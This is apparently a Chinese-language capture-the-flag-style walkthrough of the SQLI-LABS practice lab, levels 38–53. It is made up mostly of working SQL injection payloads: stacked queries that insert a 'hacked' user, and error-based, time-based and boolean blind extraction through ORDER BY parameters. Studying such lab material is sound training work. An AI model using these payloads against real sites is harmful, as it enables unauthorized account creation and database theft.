SQLI-LABS——Page-3 Stacked Injections

文章目录

前言

常见堆叠注入语句

INSERT INTO `TABLE` (COL1, COL2, ...) VALUES (VAL1, VAL2, ...)

UPDATE `TABLE` SET COL1=VAL1,COL2=VAL2, ...

CREAT TABLE `TABLE`

布尔盲注补充

注入点是ORDER BY X,整型

[GET]PAYLOAD:
?sort=rand(if(ascii(substr((select database()),1,1)))=115)

将布尔值作为随机种子,生成随机数排序,排序结果不同的即为True

题解

Less-38

目标是利用堆叠注入新建一个用户

闭合单引号

要新建用户,得向用户表INSERT INTO账号密码

尝试发现:联合查询可以使用

[GET]PAYLOAD:
?id=0' union select 1,2,3;--+

利用联合查询爆用户表和列名

接着进行堆叠注入

[GET]PAYLOAD:
?id=0';insert into `users` (id,username,password) values ('38','hacked','hacked'); --+

输入?id=38验证,成功写入新用户

Less-39

整型

[GET]PAYLOAD:
?id=0;insert into `users` (id,username,password) values ('39','hacked','hacked'); --+

Less-40

提示盲注,字符型

先试试Less-38的payload,发现没反应;换成双引号依旧没反应

最后发现:这里需要闭合一个右括号、单引号

[GET]PAYLOAD:
?id=0');insert into `users` (id,username,password) values ('40','hacked','hacked'); --+

Less-41

同Less-39

[GET]PAYLOAD:
?id=0;insert into `users` (id,username,password) values ('41','hacked','hacked'); --+

Less-42

界面是一个登录框,先查清是如何登录的,看看F12,原来是POST

[POST]PAYLOAD:
login_user=admin&login_password=1&mysubmit=Login

找一找登录框有没有注入点

[POST]PAYLOAD:
login_user=admin'&login_password=1&mysubmit=Login

[POST]PAYLOAD:
login_user=admin&login_password=1'&mysubmit=Login

发现密码框有注入点,单引号字符型

进行堆叠注入,新建用户

[POST]PAYLOAD:
login_user=admin&login_password=1';insert into `users` (id,username,password) values ('42','hacked','hacked'); --+&mysubmit=Login

此时成功登入admin账号,另外新建的账号也可以使用

Less-43

报错,提示闭合括号

[POST]PAYLOAD:
login_user=admin&login_password=1'&mysubmit=Login

完成注入

[POST]PAYLOAD:
login_user=admin&login_password=1');insert into `users` (id,username,password) values ('43','hacked','hacked'); --+&mysubmit=Login

Less-44

盲注,增加了WAF,猜测注入点还是在密码框

用sleep测试,果然有注入点

[POST]PAYLOAD:
login_password=1'||sleep(5);--+&login_user=admin&mysubmit=Login

本以为这里要用or完成堆叠注入,尝试发现行不通

还是用分号间隔完成注入

[POST]PAYLOAD:
login_user=admin&login_password=1';insert into `users` (id,username,password) values ('44','hacked','hacked'); --+&mysubmit=Login

Less-45

闭合单引号和括号

[POST]PAYLOAD:
login_password=1')||sleep(5);--+&login_user=admin&mysubmit=Login

完成注入

[POST]PAYLOAD:
login_user=admin&login_password=1');insert into `users` (id,username,password) values ('45','hacked','hacked'); --+&mysubmit=Login

Less-46

进入船新版本的堆叠注入:

参数变成了sort,值为排序依据的列

目标表只有三列,当输入?sort=4时抛出错误,因此可以断定:这里的值传给了ORDER BY,后面接ANDOR可以进行注入,整型

通过设置降序验证了猜想

[GET]PAYLOAD:
?sort=1 desc

找到

注入点后,进行布尔盲注、时间盲注和报错注入均可

[GET]PAYLOAD:
?sort=1||extractvalue(1,concat(0x5c,database()));--+

[GET]PAYLOAD:
?sort=1||updatexml(1,concat(0x7e,database(),0x7e),1);--+

[GET]PAYLOAD:
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+

[GET]PAYLOAD:
?sort=rand((ascii(substr((select database()),1,1)))=115);--+

Less-47

单引号闭合,报错注入、时间盲注

[GET]PAYLOAD:
?sort=1'||extractvalue(1,concat(0x5c,database()));--+

[GET]PAYLOAD:
?sort=1'||updatexml(1,concat(0x7e,database(),0x7e),1);--+

[GET]PAYLOAD:
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+

Less-48

没有回显,整型,可以时间盲注、布尔盲注,整型

[GET]PAYLOAD:
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+

[GET]PAYLOAD:
?sort=rand((ascii(substr((select database()),1,1)))=115);--+

Less-49

没有回显,单引号闭合,只能时间盲注了

[GET]PAYLOAD:
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+

Less-50

同Less-48

[GET]PAYLOAD:
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+

[GET]PAYLOAD:
?sort=rand((ascii(substr((select database()),1,1)))=115);--+

Less-51

同Less-49

[GET]PAYLOAD:
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+

Less-52

同Less-48

[GET]PAYLOAD:
?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+

[GET]PAYLOAD:
?sort=rand((ascii(substr((select database()),1,1)))=115);--+

Less-53

同Less-49

[GET]PAYLOAD:
?sort=1' and if(ascii(substr(database(),1,1))=115,sleep(5),0);--+

上一篇:sqli-labs (less-30)


下一篇:superforming的sql-labs大通关之第二部分(第11~16关)解析及注入方法